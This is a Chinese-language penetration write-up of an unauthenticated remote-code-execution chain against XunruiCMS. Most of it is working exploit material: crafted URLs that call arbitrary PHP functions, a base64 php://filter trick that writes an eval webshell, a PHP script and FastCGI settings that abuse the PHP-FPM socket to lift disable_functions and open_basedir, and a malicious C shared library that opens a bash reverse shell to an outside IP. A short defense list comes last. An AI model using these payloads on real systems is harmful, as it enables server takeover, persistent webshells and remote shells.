记一次简单的渗透(三)
字数 1077 2025-08-05 00:16:39

XunruiCMS 前台 RCE 漏洞利用与绕过技术分析

漏洞概述

本文详细分析 XunruiCMS 系统存在的一个前台远程代码执行漏洞,该漏洞允许攻击者在无需认证的情况下执行任意 PHP 代码,最终获取服务器权限。

漏洞验证

初始验证

通过构造以下 URL 验证漏洞存在性:

https://xxxx/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1

验证方法:

  • 查看页面是否出现 \n\n
  • 查看源码(Ctrl+U)中是否出现 phpinfo 字样
  • 直接观察 phpinfo() 函数输出

代码执行进阶

仅执行 phpinfo() 是不够的,需要实现更复杂的操作:

call_user_func_array("phpinfo", [-1]);

文件写入技术

基础文件写入

尝试使用 file_put_contents 写入 WebShell:

http://localhost:2333/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=uploadfile/member/1.php%20param1=<?=eval($_POST[cmd]);?>

过滤绕过技术

当直接写入被过滤时,使用 PHP 伪协议绕过:

http://localhost:2333/?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=php://filter/convert.base64-decode/resource=uploadfile/member/1.php%20param1=PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

其中 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==<?php eval($_POST['cmd']);?> 的 base64 编码。

权限提升与绕过技术

环境限制

  • 蚁剑无法直接连接
  • 存在宝塔面板防护
  • 需要绕过 disable_functionsopen_basedir

PHP-FPM 利用

  1. 定位 PHP-FPM Socket

    • 常见位置:/tmp/php-cgi-73.sock(根据 PHP 版本不同)
  2. 构造 SSRF 交互
    创建以下 PHP 脚本与 FPM 交互:

<?php
$out = base64_decode($_POST['data']);
$fp = fsockopen("unix:///tmp/php-cgi-73.sock", -1, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>
  1. 生成 FPM 请求负载
    使用专门的 FCGIClient 类生成 FastCGI 协议数据包:
$client = new FCGIClient("unix:///tmp/php-cgi-73.sock", -1);
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = /www/wwwroot/xrcms/uploadfile/member/2.php";

恶意 .so 加载

当其他方法失效时,可以编译并加载恶意共享库:

  1. 创建恶意 C 代码:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/150.xxx.xxx.89/2333 0>&1'");
}
  1. 编译为共享库:
gcc hpdoger.c -fPIC -shared -o hpdoger.so
  1. 复制到 /tmp 目录
  2. 通过 PHP-FPM 加载该库实现反向 shell

完整利用流程

  1. 验证漏洞存在性(phpinfo)
  2. 尝试直接写入 WebShell
  3. 遇到过滤时使用 base64 伪协议绕过
  4. 发现环境限制后定位 PHP-FPM Socket
  5. 构造 FPM 请求绕过限制
  6. 最终通过加载恶意 .so 获取反向 shell

防御建议

  1. 立即升级 XunruiCMS 到最新版本
  2. 限制危险函数如 call_user_func_array 的使用
  3. 加强文件写入操作的过滤
  4. 合理配置 PHP 环境,限制 open_basedir
  5. 监控 /tmp 目录异常文件
  6. 定期审计服务器上的可疑 PHP 文件

总结

本漏洞利用过程展示了从简单的代码执行到复杂的权限提升技术,涉及多种绕过技术组合。安全团队应重视此类链式攻击,加强防御纵深。

XunruiCMS 前台 RCE 漏洞利用与绕过技术分析 漏洞概述 本文详细分析 XunruiCMS 系统存在的一个前台远程代码执行漏洞,该漏洞允许攻击者在无需认证的情况下执行任意 PHP 代码,最终获取服务器权限。 漏洞验证 初始验证 通过构造以下 URL 验证漏洞存在性: 验证方法: 查看页面是否出现 \n\n 查看源码(Ctrl+U)中是否出现 phpinfo 字样 直接观察 phpinfo() 函数输出 代码执行进阶 仅执行 phpinfo() 是不够的,需要实现更复杂的操作: 文件写入技术 基础文件写入 尝试使用 file_put_contents 写入 WebShell: 过滤绕过技术 当直接写入被过滤时,使用 PHP 伪协议绕过: 其中 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== 是 <?php eval($_POST['cmd']);?> 的 base64 编码。 权限提升与绕过技术 环境限制 蚁剑无法直接连接 存在宝塔面板防护 需要绕过 disable_functions 和 open_basedir PHP-FPM 利用 定位 PHP-FPM Socket : 常见位置: /tmp/php-cgi-73.sock (根据 PHP 版本不同) 构造 SSRF 交互 : 创建以下 PHP 脚本与 FPM 交互: 生成 FPM 请求负载 : 使用专门的 FCGIClient 类生成 FastCGI 协议数据包: 恶意 .so 加载 当其他方法失效时,可以编译并加载恶意共享库: 创建恶意 C 代码: 编译为共享库: 复制到 /tmp 目录 通过 PHP-FPM 加载该库实现反向 shell 完整利用流程 验证漏洞存在性(phpinfo) 尝试直接写入 WebShell 遇到过滤时使用 base64 伪协议绕过 发现环境限制后定位 PHP-FPM Socket 构造 FPM 请求绕过限制 最终通过加载恶意 .so 获取反向 shell 防御建议 立即升级 XunruiCMS 到最新版本 限制危险函数如 call_user_func_array 的使用 加强文件写入操作的过滤 合理配置 PHP 环境,限制 open_basedir 监控 /tmp 目录异常文件 定期审计服务器上的可疑 PHP 文件 总结 本漏洞利用过程展示了从简单的代码执行到复杂的权限提升技术,涉及多种绕过技术组合。安全团队应重视此类链式攻击,加强防御纵深。